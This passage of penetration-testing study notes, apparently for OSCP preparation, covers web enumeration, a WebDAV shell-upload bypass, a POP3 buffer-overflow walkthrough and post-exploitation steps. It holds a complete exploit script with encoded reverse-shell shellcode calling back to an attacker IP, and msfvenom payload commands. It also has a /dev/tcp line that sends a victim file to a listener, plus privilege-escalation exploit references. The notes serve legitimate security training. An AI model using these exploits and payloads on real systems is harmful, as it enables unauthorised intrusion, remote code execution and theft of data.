- `1.3.6.1.2.1.25.6.3.1.2` - Software Name
- `1.3.6.1.4.1.77.1.2.25` - User Accounts
- `1.3.6.1.2.1.6.13.1.3` - TCP Local Ports

HTTP Enumeration

Enumerating Web Server and Web Technology Versions

```
curl -i [ip] # include response headers
curl -I [ip] # show info only (using HEAD)
curl -L [ip] # follow redirects
```

Directory Fuzzing

`gobuster`

```
gobuster -u http://website.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 | te
gobuster -u http://website.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -c '
```

`dirsearch`

Great for websites that have extensions (eg. php). Added `wp` to dicc.txt

```
./dirsearch.py -u http://192.168.1.23 -e txt -t 50 # use dirsearch's default dict, which proved to be quit
./dirsearch.py -u http://192.168.1.23 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e p
```

`nikto` Web Scanner

```
nikto -h 192.168.1.23
nikto -h 192.168.1.23 -Plugins outdated
```

A function within its code, "map_codes", seems to take forever to finish. Add a `return;` statement to line 228 of `/var/lib/nikto/plugins/nikto_core.plugin` to patch it.

`wpscan` Wordpress Scanner

```
wpscan -u example.com --enumerate p,t,u,tt # plugins, themes, usernames and timthumbs --log wpscanlog
```

Note, after installing either neovim or samba-4.5.15, wpscan stops working.

WebDAV in IIS Servers

1. If you notice an IIS Server, scan for WebDAV using `nmap --script=http-webdav-scan,http-iis-webdav-vuln` (vuln checks for protected folders that can by bypassed)
2. Find unprotected/protected folders

- If protected, bypass by:
  - Adding a `Translate: f` header
  - Inserting the characters `%c0%af` into any uri request longer than 1 character

3. Identify file types that can be uploaded and executed (accessed) with `davtest -cleanup -url http://url/folder`
4. Use msfvenom to generate and upload PHP (if PHP is available) or ASP shell using PUT request

- If `.php` or `.asp` cannot be uploaded, upload it as an acceptable file type like `.txt`
- Perform a COPY or MOVE request to rename the `.txt` back into `.php` or `.asp`
- If that doesn't work, try using the semicolon bypass by renaming it to `shell.php;.txt` or `shell.asp;.txt`

5. Open a listener and access your shell by visiting your shell page or by using a GET request

Generating Shell Payload

- ASP Shell Msfvenom: http://web.archive.org/web/20171016091511/http://www.r00tsec.com:80/2011/09/exploiting-microsoft-iis-version-60.html

Bypassing Protected Folders

- https://blog.skullsecurity.org/2009/webdav-detection-vulnerability-checking-and-exploitation
- https://secureyes.net/nw/assets/Bypassing-IIS-6-Access-Restrictions.pdf

Bypassing Restricted File Type Uploads

- WebDAV Upload Bypass with COPY: http://web.archive.org/web/20171016091511/http://www.r00tsec.com:80/2011/09/exploiting-microsoft-iis-version-60.html
- Semicolon Vulnerability: https://soroush.secproject.com/blog/2009/12/microsoft-iis-semi-colon-vulnerability/

Other Resources:

- Typical Full Flow: http://web.archive.org/web/20171016091511/http://www.r00tsec.com:80/2011/09/exploiting-microsoft-iis-version-60.html
- WebDAV Metasploit Module Examples: http://carnal0wnage.attackresearch.com/2010/05/more-with-metasploit-and-webdav.html

Ways to Interact with WebDAV Server

5 Methods to Upload to WebDAV

- http://www.hackingarticles.in/5-ways-to-exploiting-put-vulnerability/

`cadaver`

```
cadaver http://[ip]/[folder]
put, copy, move, get, etc.
```

WebDAV Interaction with BurpSuite

Note: It is important to leave the whitespaces after the request, to let the server know that you have completed stating your request, just like in nc, otherwise the server will wait and hang.

Retrieve properties of a resource

```
PROPFIND / HTTP/1.1
Host: 192.168.1.23
Content-Type: text/xml
Content-Length: 147
Depth: 0
Translate: f

<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop><a:getcontenttype/></a:prop>
<a:prop><a:getcontentlength/></a:prop>
</a:propfind>
```

Directory listing

```
GET / HTTP/1.1
Host: 192.168.1.23
```

Upload ASP shell with .txt extension to WebDAV using PUT

```
PUT /shell.txt HTTP/1.1
Host: 192.168.1.23
```

```
Content-Length: 38337

[ASP shellcode content here]
```

Move shell.txt to shell.asp;.txt

```
COPY /shell.txt HTTP/1.1
Host: 192.168.1.23
Destination: http://192.168.1.23/shell.asp%3b.txt
```

Execute shell.asp;.txt, make sure to open a nc listener on port 443

```
GET /shell.asp%3b.txt HTTP/1.1
Host: 192.168.1.23
```

CGI

- Use `/usr/share/seclists/Discovery/Web_Content/cgis.txt` wordlist to find cgi pages.
- `searchsploit apache cgi`
- `nmap --script=http-shellshock --script-args uri=/cgi-bin/test.cgi --script-args uri=/cgi-bin/admin.cgi`

PHP

```
# PHP 5.5.9 search order, edit if necessary, eg. php version, windows?.
searchsploit --colour -t php 5 | grep -v '/dos/\|/windows' | grep -iP '^(php|apache \+ php) (\d|<)'
searchsploit --colour -t php 5.5 | grep -v '/dos/\|/windows' | grep -iP '^(php|apache \+ php) (\d|<)'
searchsploit --colour -t php 5.x | grep -v '/dos/\|/windows' | grep -iP '^(php|apache \+ php) (\d|<)'
```

HTTP Enumeration Tips

Wordlists

- Dirsearch - ~/tools/dirsearch/db/dicc.txt
- DirB - /usr/share/dirb/wordlists/
- wfuzz - /usr/share/wfuzz/wordlist/
- SecList - /usr/share/seclists/
  - /usr/share/seclists/Discovery/Web_Content/
  - /usr/share/seclists/Discovery/Web_Content/common.txt
  - /usr/share/seclists/Discovery/Web_Content/cgis.txt

Hardcoded Links

If a website has hardcoded links like "http://pinkdb.com" or "http://172.16.5.5", which you do not have access to, simply an entry like `[actual server ip] [hardcoded value]` (eg. `192.168.1.23 pinkydb.com`) to `/etc/hosts`

Apache Directory Default Layouts

https://wiki.apache.org/httpd/DistrosDefaultLayout#Debian.2C_Ubuntu_.28Apache_httpd_2.x.29

Host Header

The host-Header tells the webserver which virtual host to use. Sometimes servers may behave differently when the host-header is changed from their IP to their hostname (example.com).

Lookout For

- Apache mod_x, as they may be vulnerable
- WebDAV
- CGI

ident Enuemeration

`ident-user-enum`

Identify owners of processes

```
ident-user-enum 192.168.1.23 22 113 139 445
```

Vulnerability Scanning

Vulnerability Scanning with Nmap

NSE scripts that scans for vulnerabilities are at `ls -l /usr/share/nmap/scripts/*vuln*`.

- `nmap -p 80 --script=all 192.168.1.23` - Scan a target using all NSE scripts. May take an hour to complete.
- `nmap -p 80 --script=*vuln* 192.168.1.23` - Scan a target using all NSE vuln scripts.

- `nmap -p 80 --script=http*vuln* 192.168.1.23` - Scan a target using all HTTP vulns NSE scripts.
- `nmap -p 21 --script=ftp-anon 192.168.1.0/24` - Scan entire network for FTP servers that allow anonymous access.
- `nmap -p 80 --script=http-vuln-cve2010-2861 192.168.1.0/24` - Scan entire network for a directory traversal vulnerabilitiy. It can even retrieve admin's password hash.

The OpenVAS Vulnerability Scanner

OpenVAS Initial Setup

`openvas-setup`

Apparently, the program will fail. Thankfully, OpenVAS is already installed on the OffSec VM: https://forums.offensive-security.com/showthread.php?3216-05-2-1-Changes-to-quot-OpenVAS-Initial-Setup-quot-(openvas-setup)&p=12828#post12828 and https://forums.offensive-security.com/showthread.php?10139-OpenVas-Setup-issue&p=54721#post54721

Just run the following commands to get it up and running.

```
openvasmd --user=admin --new-password=NEW_PASSWORD
service redis-server start
service greenbone-security-assistant start
service openvas-scanner start
service openvas-manager start
firefox https://127.0.0.1:9392
```

Add new target -> add new scan using target -> run

Buffer Overflows

Fuzzing

Fuzz base on buffer length and perhaps different characters, check for crashes, and observe memory stack in debugger.

```
#!/usr/bin/env python

import socket
string = 'A'

for i in range(100, 10000, 200):
    print 'Fuzzing PASS with {} bytes'.format(i)
    s = socket.socket()
    s.connect(('192.168.1.23', 110))
    s.recv(1024)
    s.send('USER test\r\n')
    s.recv(1024)
    s.send('PASS {}\r\n'.format(string * i))
    s.send('QUIT\r\n')
    s.close()
```

Win32 Buffer Overflows

Stack overflow simulation

```
ESP -> 1000 .... \
       1001 .... |- # Current function
       1002 .... |
       1003 .... /
```

```
EBP -> 1003 100A # Previous EBP further down
       1004 3AFD # Return address to previous calling function
       1005 ....
       1006 ....
```

```
ESP -> 1000 AAAA \
       1001 AAAA |- # Current function
       1002 AAAA |
       1003 AAAA /
EBP -> 1003 AAAA # Previous EBP further down
       1004 BBBB # Return address to previous calling function
       1005 CCCC
       1006 ....
```

```
# Function completes, and starts cleaning up.
# leave (mov esp, ebp)

       1000 AAAA \
       1001 AAAA |- # Current function
       1002 AAAA |
       1003 AAAA /
EB/SP->1003 AAAA # Previous EBP further down
       1004 BBBB # Return address to previous calling function
       1005 CCCC
       1006 ....
```

```
# leave (pop ebp) (ebp is now AAAA, and esp + 1)

       1000 AAAA \
       1001 AAAA |- # Current function
       1002 AAAA |
       1003 AAAA /
       1003 AAAA
ESP -> 1004 BBBB # Return address to previous calling function
       1005 CCCC
       1006 ....
```

```
# ret (pop eip) (eip is now BBBB, and esp + 1)

       1000 AAAA
       1001 AAAA
       1002 AAAA
       1003 AAAA
       1004 BBBB # Return address to previous calling function, popped as EIP
ESP -> 1005 CCCC
       1006 ....
```

```
# jmp esp

ESP -> 1005 NOPS # nop sled to avoid shellcode from "stepping on its toes" while decoding
       1006 NOPS
       1007 CCCC # shellcode
       1008 CCCC
       1009 CCCC
       100A CCCC
```

Crashing

With fuzzing, see whether server crashes after a certain length buffer.

- Fuzz

- Check for crash

Controlling EIP

With a debugger like Immunity Debugger, see whether EIP is overwritten with your buffer.

1. Run vulnerable server
2. Open Immunity Debugger
3. Attach server process
4. Run
5. Send long buffer
6. In Immunity Debugger check whether EIP has been overwritten

Find Offset

1. Use `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l [length]` to create a cyclic pattern with the buffer length
2. Restart server and debugger
3. Send buffer
4. Record overwritten EIP
5. Use `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q [eip value]` to find offset
6. Update buffer with new offset, and enter a custom value to overwrite EIP.
7. Pad the buffer to see how much more bytes you can fill in the stack after overwriting EIP. If the EIP does not get overwritten anymore, your buffer is too long, decrease the appended padding size. Anything above 500 bytes will be good to go, as most shellcode sizes are 300-500 bytes.

Check for Bad Characters

1. Replace the appended padding with:

```
badchars = (
'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10'
'\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20'
'\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30'
'\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40'
'\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50'
'\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60'
'\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70'
'\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80'
'\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90'
'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0'
'\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0'
'\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0'
'\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0'
'\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0'
'\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0'
'\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff')
```

2. Restart server and debugger
3. Send buffer
4. Right click on ESP and follow in memory dump
5. Check whether any of the bytes are missing. A quick way is to look through the last column and see whether all the xF aligns

```
   01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
192.168.1.23 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
```

```
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f
30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f
40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f
60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f
80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f
90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f
a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af
b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf
c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf
d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df
e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef
f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
```

6. Record bad characters, including `0x00` as that is a null byte. Keep them in mind when finding a `JMP` location and when generating shellcode later on

Finding a Register to Jump to Your Shellcode

1. Restart server and debugger, keeping it paused
2. Send buffer and crash the service
3. Check out the registers, find one that points to the buffer you sent, or somewhere close. In this case the register ESP points directly after the overwritten EIP
4. Right click on top-left assembly window
5. Search for > Command
6. Enter `jmp esp`
7. Ensure the address does not include bad characters
8. Record the address of the instruction

Alternatives

If no results were found in step 4, try Search for > Sequence of commands, enter the following, and use that address instead:

```
push esp
retn
```

If there are still no results, try finding those commands elsewhere in the program's DLLs with Mona.

1. List all DLLs being used with `!mona modules` at the bottom of Immunity Debugger
2. Try finding a module that has nearly all security features in "False" state (Rebase, SafeSEH, ASLR, NXCompat)
3. Click on `e` in Immunity Debugger to open "Executable Modules" window
4. Locate the module and double click on it
5. Repeat steps 2-6 in the previous section to search for instructions

If there are still no results, which is uncommon for complex modules, no worries. The default "Search for" function in Immunity Debugger only searches within executable regions, which is usually in the `.text` segment of the module, which can be viewed by clicking on `m` in Immunity Debugger. Notice the `R E` in the same row as the module's `.text` segment. If the program is compiled with DEP support, the `JMP ESP` would **have** to be located within `.text` segment. If it is not, fortunately you can find the instructions in non-executable segments as well.

Since we can't use Immunity Debugger "Search for" function, we'll have to use Mona to find the instructions for us

1. Find the opcode for the `JMP ESP` instruction with `/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb` and type in `jmp esp`. The result is `FFE4`
2. In Immunity Debugger, type `!mona find -s "\xff\xe4" -m [module.dll]` to search for the instruction within the entire module

3. Pick a result that does not contain any bad characters in the address
4. Jump to the address location by clicking on the black "wall bang"-looking button in the Immunity Debugger toolbar, and entering the address
5. Confirm that the instructionn is `JMP ESP`
6. Record the address of the instruction

Linux Objdump

You can use Kali to find the offset of certain instructions from let's say a DLL:

```
objdump -D -M intel user32.dll | grep 'jmp.*esp' | head
```

Generate Shellcode

1. Generate shellcode payload with `msfvenom -p windows/shell_reverse_tcp -a x86 --platform windows LHOST=192.168.1.23 LPORT=443 -f c -b '\x00' -e x86/shikata_ga_nai EXITFUNC=thread`, swap out with your listener IP and port, bad chars with `-b '\x00,\x0A,\x0D'` for example, etc. The `EXITFUNC=thread` ensures that only the thread serving your exploit is terminated, not the entire process by default
2. Paste in a NOP sled of about 16 `\x90`s after the overwritten EIP, and then the shellcode, and then the padding. Since the shellcode decoder is going to require some workspace in the stack (the same area where the shellcode is being stored), it will require some buffer space to avoid "stepping on its own toes".
3. Open a listener and pop the shell

Example Final Code

```python
#!/usr/bin/python

import socket
s = socket.socket()

shellcode = (
"\xd9\xc1\xba\x8d\x2f\x0e\x1c\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x31\x55\x17\x03\x55\x17\x83\x48\x2b\xec\xe9\xae\xdc\x72"
"\x11\x4e\x1d\x13\x9b\xab\x2c\x13\xff\xb8\x1f\xa3\x8b\xec\x93"
"\x48\xd9\x04\x27\x3c\xf6\x2b\x80\x8b\x20\x02\x11\xa7\x11\x05"
"\x91\xba\x45\xe5\xa8\x74\x98\xe4\xed\x69\x51\xb4\xa6\xe6\xc4"
"\x28\xc2\xb3\xd4\xc3\x98\x52\x5d\x30\x68\x54\x4c\xe7\xe2\x0f"
"\x4e\x06\x26\x24\xc7\x10\x2b\x01\x91\xab\x9f\xfd\x20\x7d\xee"
"\xfe\x8f\x40\xde\x0c\xd1\x85\xd9\xee\xa4\xff\x19\x92\xbe\xc4"
"\x60\x48\x4a\xde\xc3\x1b\xec\x3a\xf5\xc8\x6b\xc9\xf9\xa5\xf8"
"\x95\x1d\x3b\x2c\xae\x1a\xb0\xd3\x60\xab\x82\xf7\xa4\xf7\x51"
"\x99\xfd\x5d\x37\xa6\x1d\x3e\xe8\x02\x56\xd3\xfd\x3e\x35\xbc"
"\x32\x73\xc5\x3c\x5d\x04\xb6\x0e\xc2\xbe\x50\x23\x8b\x18\xa7"
"\x44\xa6\xdd\x37\xbb\x49\x1e\x1e\x78\x1d\x4e\x08\xa9\x1e\x05"
"\xc8\x56\xcb\x8a\x98\xf8\xa4\x6a\x48\xb9\x14\x03\x82\x36\x4a"
"\x33\xad\x9c\xe3\xde\x54\x77\x06\x14\x56\x69\x7e\x28\x56\x74"
"\xc4\xa5\xb0\x1c\x2a\xe0\x6b\x89\xd3\xa9\xe7\x28\x1b\x64\x82"
"\x6b\x97\x8b\x73\x25\x50\xe1\x67\xd2\x90\xbc\xd5\x75\xae\x6a"
"\x71\x19\x3d\xf1\x81\x54\x5e\xae\xd6\x31\x90\xa7\xb2\xaf\x8b"
"\x11\xa0\x2d\x4d\x59\x60\xea\xae\x64\x69\x7f\x8a\x42\x79\xb9"
"\x13\xcf\x2d\x15\x42\x99\x9b\xd3\x3c\x6b\x75\x8a\x93\x25\x11"
"\x4b\xd8\xf5\x67\x54\x35\x80\x87\xe5\xe0\xd5\xb8\xca\x64\xd2"
"\xc1\x36\x15\x1d\x18\xf3\x35\xfc\x88\x0e\xde\x59\x59\xb3\x83"
"\x59\xb4\xf0\xbd\xd9\x3c\x89\x39\xc1\x35\x8c\x06\x45\xa6\xfc"
"\x17\x20\xc8\x53\x17\x61"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + '\x90' * 16 + shellcode + 'C' * (3500 - 2606 - 4 - 351 - 16)
```

```
try:
    print 'Sending buffer...'
    s.connect(('192.168.1.23', 110))
    s.recv(1024)
    s.send('USER username\r\n')
    s.recv(1024)
    s.send('PASS {}\r\n'.format(buffer))
    print('Done')
except:
    print 'Could not connect to POP3'
```

Linux Buffer Overflows

`edb --run [binary]`

Double press run. To search for JMP ESP, Ctrl-O, Jump Equivalent to ESP -> EIP, select first region, Find. As per usual, find a suitable place to store the shellcode, by referring to the registers. In Crosfires case, it looks like you can't store much at the ESP, only 7 bytes, so no shellcode can be stored there. We also notice EAX points to the start of the buffer (`(setup sound ...`), so let's store the shellcode after `(setup sound` , and use those 7 bytes at ESP to be first-stage shellcode to JMP to EAX + len(`(setup sound`). Overwrite EIP > JMP to a JMP ESP > JMP ESP > ADD EAX, 12 > JMP EAX > Shellcode.

Note on indirect offset jumping, `jmp esp+20` is not possible, `jmp [esp+20]` loads the value at `esp+20` , which is not intended. Instead, `lea eax, [esp+20]; jmp eax` or `sub esp, 20; jmp esp` . https://forums.offensive-security.com/showthread.php?5745-crossfire-bind-vs-reverse-shell&p=59289#post59289

Note on exploiting crossfire server, run it as a standalone, not in edb, otherwise shell will not respond to commands. https://forums.offensive-security.com/showthread.php?5745-crossfire-bind-vs-reverse-shell&p=59289#post59289

Exploits

Searching Exploits

There are many fake exploits in the wild, many often causing harm to your system. Where can you find reliable sources for public exploit code?

- Exploit Database - https://www.exploit-db.com/
- SecurityFocus - https://www.securityfocus.com/vulnerabilities

In Kali, you can use `searchsploit [query]` to find exploits. Use `searchsploit -u` to pull latest updates.

Customizing and Fixing Exploits

Many exploits are one shots, meaning if they are unsuccessful, the service will crash. For that reason, never run an exploit without first examining the code and understand the inner workings. Once done, set up a small dev environment which matches the OS version and vulnerable software version, in order to test and improve existing exploits. Once we are fairly certain that our fixed exploit will work on the target machine, we can then proceed to launch it against our victim.

1. Swap the shellcode (chance that the size matters to bypass DEP and ASLR)
2. Fix the offsets (based on previous knowledge, or debugging)
3. Hardcoded variables (like server IP)

Some C programs are meant to be compiled in a Windows environment, not just linux. To identify them, simply look at the includes, if "win" is in the name, is most likely for Windows.

Linux Compilation

```
gcc -o [elf] [.c]
gcc -Wl,--hash-style=both -o [elf] [.c] # "error while loading shared libraries: requires glibc 2.5 or lat
gcc -static -o [elf] [.c] # or this
```

Resources:

- "error while loading shared libraries: requires glibc 2.5 or later dynamic linker": https://stackoverflow.com/a/12075678

Windows Compilation

You can compile and run in Linux with mingw-w64 and wine!

```
apt install mingw-w64
i686-w64-mingw32-gcc [.c] -o [.exe] # -lws2_32
i686-w64-mingw32-g++ [.cpp] -o [.exe]
wine [.exe]
```

Tips

- i686-w64-mingw32-gcc -lws2_32 - https://stackoverflow.com/a/2033632/4908573
- Malloc and memcpy, allocate and initialize with null bytes - https://forums.offensive-security.com/showthread.php?2363-Fixing-643-c-script&p=9453#post9453
- Adding +1 to pointers is 4 bytes - https://stackoverflow.com/a/11598369/4908573

File Transfers

Antivirus may be triggered by an upload, so be careful when transferring files. One of OffSec's favourite ways to avoid AV is to use legitimate administrative tools during post exploitation phase.

File Transfer Methods

Unix environments will often have tools such as `nc`, `curl`, `wget` preinstalled, making file transfer simple. However, on Windows, the process is not as straight forward.

Most netcat-like connections provide a non-interactive shell. Interactive commands like `ftp` on Windows won't work. So we have to transfer files using non-interactive methods.

TFTP

Windows XP and 2003. Windows 7, 2008 and above will need to be explicitly added during installation.

Easy, but slow speed of 2kb/sec

On Kali:

```
mkdir /tftp # DIRECTORY HOSTING FILES
atftpd --daemon --port 69 /tftp
```

On Windows:

```
tftp -i [kali ip] get [file]
```

FTP

All Windows.

Fast speed of 206kb/sec. Scripts available in OSCP-Notes/scripts

On Kali:

```
#!/bin/bash
apt update && apt install pure-ftpd
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome # use user offsec when logging into ftp
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome # DIRECTORY HOSTING FILES
chown -R ftpuser:ftpgroup /ftphome/
service pure-ftpd restart
```

On Windows:

```
echo open [kali ip] 21> ftp.txt
echo USER offsec>> ftp.txt # username
echo ftp>> ftp.txt # password
echo bin>> ftp.txt # binary mode
echo GET [file]>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
# or
echo open [kali ip] 21>ftp.txt&echo USER offsec>>ftp.txt&echo ftp>>ftp.txt&echo bin>>ftp.txt&echo GET [fil
```

VBScript via HTTP

Windows XP, 2003

Moderate speed of 50kb/sec. Scripts available in OSCP-Notes/scripts

On Kali:

```
service apache2 start
# /var/www/html # DIRECTORY HOSTING FILES
```

On Windows:

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://[kali ip]/[file] [file]
```

Powershell via HTTP

Windows 7, 2008 and above

Slow speed of 20kb/sec, but most readily available on most modern Windows OS

On Kali:

```
service apache2 start # /var/www/html # DIRECTORY HOSTING FILES
# or
python -m SimpleHTTPServer # current working dir will be DIRECTORY HOSTING FILES
```

On Windows:

```
echo $storageDir = $pwd >wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://[kali ip]/[file]" >>wget.ps1
echo $file = "[file]" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

Debug.exe

Older 32-bit Windows

Limited to 64kb, slow speed of 3kb/sec, limited to the connection speed of the shell

On Kali:

```
upx -9 [.exe] # pack and compress a binary you wanna transfer
ls -lah [.exe] # check whether it is less than 64kb
exe2hex [.exe] # alternatively, `wine /usr/share/windows-binaries/exe2bat.exe [.exe] [.bat]`
cat [.bat] | xclip -selection c # if remotely accessing kali, use `ssh -X`, a bit finicky though
```

On Windows:

```
# paste
```

`nc.exe`

Requires `nc.exe` to be already transferred. Allows for two-way transfers.

```
C:\nc.exe -lvp 4444 > [file] # on Windows
nc [windows ip] 4444 < [file] # on Kali
```

Vice versa.

Linux Dev TCP

```
cat file.txt > /dev/tcp/192.168.1.23/4444 # on victim linux
nc -lvp 4444 > file.txt # on Kali
```

Privilege Escalation

Kernel Exploits

Linux Kernel Exploits

- Linux Kernel 2.6.39 - 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation:
  - https://www.exploit-db.com/exploits/18411/
  - https://www.securityfocus.com/bid/51625/info
  - CVE-2012-0056
- Linux Kernel 2.6.22 - 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method):
  - https://www.exploit-db.com/exploits/40616/
  - CVE-2016-5195
- Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation
  - https://www.exploit-db.com/exploits/3/
  - http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
  - CVE-2003-0127
- Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV below 1.4.1 - Local Privilege Escalation (1)
  - https://www.exploit-db.com/exploits/8478/
  - `exploit/linux/local/udev_netlink`

Tools:

- https://github.com/sleventyeleven/linuxprivchecker

- https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
- https://github.com/jondonas/linux-exploit-suggester-2

Windows Kernel Exploits

PoC Exploits

- 'afd.sys' Local Privilege Escalation
    - Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)
        - https://www.exploit-db.com/exploits/40564/
        - Windows XP, 2003, 7, 2008, Vista
    - Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (MS11-080)
        - https://www.exploit-db.com/exploits/18176/
        - CVE-2011-2005
    - And a lot more
- KiTrap0D/vdmallowed.exe
    - https://www.exploit-db.com/exploits/11199/
    - Upload both `vdmallowed.exe` and `vdexploit.dll`. May only work on GUI.
    - CVE-2010-0232
- RID Hijacking (Metasploit)
    - https://www.rapid7.com/db/modules/post/windows/manage/rid_hijack
    - http://csl.com.co/rid-hijacking/
- And many more ... just search `[OS] privilege escalation` on Google. Eg. `Windows 7 SP1 privilege escalation` or `Windows 7 SP1 x86 privilege escalation`

To compile C/C++ Windows exploit on Linux:

- `i686-w64-mingw32-gcc [.c] -o [.exe] [-lws2_32]`
- `i686-w64-mingw32-g++ [.cpp] -o [.exe] [-lws2_32]`

To compile Python exploit on Windows:

1. On Windows, install PyWin32
2. Download and extract Pyinstaller
3. Open cmd and cd into Pyinstaller
4. `python pyinstaller.py --onefile [.py]`

Note: Pywin32 installation error: https://stackoverflow.com/a/21081675/4908573

Resources:

- Precompiled Windows Kernel Exploits: https://github.com/SecWiki/windows-kernel-exploits

Tools:

- Windows Exploit Suggester: https://github.com/GDSSecurity/Windows-Exploit-Suggester
- `systeminfo`
- `wmic qfe get Caption,Description,HotFixID,InstalledOn`
- Metasploit Module: `post/multi/recon/local_exploit_suggester`

Configuration Issues

Linux Configuration Issues

What's the OS? What version? What architecture?

- `cat /etc/*-release`
- `uname -i`
- `lsb_release -a` (Debian based OSs)

Who are we? Where are we?

- `id`
- `pwd`

Who uses the box? What users? (And which ones have a valid shell)

- `cat /etc/passwd`
- `grep -vE "nologin|false" /etc/passwd`

What's currently running on the box? What active network services are there?

- `ps aux`
- `netstat -antup`

What's installed? What kernel is being used?

- `dpkg -l` (Debian based OSs)
- `rpm -qa` (CentOS / openSUSE)
- `uname -a`

Much more at: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

- SUID Files
